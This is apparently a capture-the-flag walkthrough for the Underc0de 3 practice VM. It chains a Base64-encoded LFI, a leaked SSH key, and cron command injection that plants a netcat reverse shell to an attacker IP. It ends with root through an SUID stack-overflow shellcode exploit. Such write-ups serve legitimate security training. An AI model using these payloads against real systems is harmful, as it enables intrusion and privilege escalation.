Underc0de 3 is a vulnerable Boot2Root virtual machine designed for penetration testing practice. The attack chain spans web reconnaissance, encoded Local File Inclusion (LFI), credential discovery, cronjob command injection, and final privilege escalation via an SUID buffer overflow.
Phase 1: Network Reconnaissance and Port Scanning
Identify the target VM using netdiscover or arp-scan:
- Target IP:
192.168.1.112
Run a full Nmap service scan:
nmap -sS -sV -p- -T4 192.168.1.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.22 (Debian)
Phase 2: Web Reconnaissance & Base64-Encoded LFI
Directory enumeration using dirb reveals an /ascii/ folder and /index.html. Inspecting the HTML source reveals a hidden comment:
<!--<a href="v.php?a=YXNjaWkxLnR4dA==">foo</a>-->
Decoding the Base64 value:
>>> import base64
>>> base64.b64decode("YXNjaWkxLnR4dA==")
b'ascii1.txt'
The script v.php accepts a Base64-encoded file path and includes it. Testing directory traversal with ../../../../etc/passwd:
>>> base64.b64encode(b"../../../../etc/passwd")
b'Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA=='
Requesting http://192.168.1.112/v.php?a=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== successfully discloses /etc/passwd, confirming an unauthenticated Local File Inclusion (LFI) vulnerability. Users with interactive login shells: root, underdist, and cuervo.
Phase 3: SSH Key Discovery & Initial Foothold
Fuzzing internal files through LFI reveals a backup archive at http://192.168.1.112/b_gd214dg/foo.backup, containing an unencrypted OpenSSH private key.
Testing the key against the discovered usernames:
chmod 600 foo.backup
ssh -i foo.backup cuervo@192.168.1.112
Login succeeds as user cuervo.
Phase 4: Lateral Movement via Python Cron Command Injection
Auditing user directories reveals an automated monitoring script owned by user underdist:
/home/underdist/cronping.py
# /home/underdist/cronping.py
import os
def ips():
return open("ips.txt")
def command(c):
p = os.popen('ping -c 1 -w 1 %s | grep received | cut -d " " -f 4' % (c), "r")
return p.read()
def verify():
for ip in ips():
ip = ip.replace("\n", "")
if command(ip) == "1\n":
...
verify()
The Flaw:
The script executes every minute via cron under user underdist. It reads /home/underdist/ips.txt—which is world-writable (0777)—and concatenates each line into an unsanitized os.popen shell command.
Exploitation:
Append a command separator with a reverse shell command into ips.txt:
echo "127.0.0.1; nc -e /bin/sh 192.168.1.100 1337" >> /home/underdist/ips.txt
Catch the incoming reverse connection with Netcat:
nc -lvnp 1337
# Connection received!
whoami
# underdist
We now have code execution as user underdist.
Phase 5: Root Privilege Escalation via SUID Stack Overflow
Inspecting /home/underdist/.bin reveals an SUID executable owned by root: echo.
Running checksec:
RELRO STACK CANARY NX PIE FILE
No RELRO No canary found NX disabled No PIE echo
The binary has NX disabled (executable stack) and no stack canaries.
Disassembly Analysis:
Disassembling main in GDB:
0x08048461 <+21>: lea -0x12c(%ebp),%eax
0x08048467 <+27>: mov %eax,(%esp)
0x0804846a <+30>: call <strcpy@plt>
strcpy copies argv[1] into a 300-byte stack buffer without bounds validation.
Stack Overflow Offset & Shellcode:
- Distance to return address: 304 bytes.
- Standard 23-byte Linux x86
execve("/bin/sh")shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 - NOP sled: 281 bytes (
\x90). - Target stack return address:
0xbffff8bd.
Executing Root Exploit:
./echo $(python -c "print '\x90'*281 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xbd\xf8\xff\xbf'")
# whoami
root
We obtain the root shell and finish the challenge.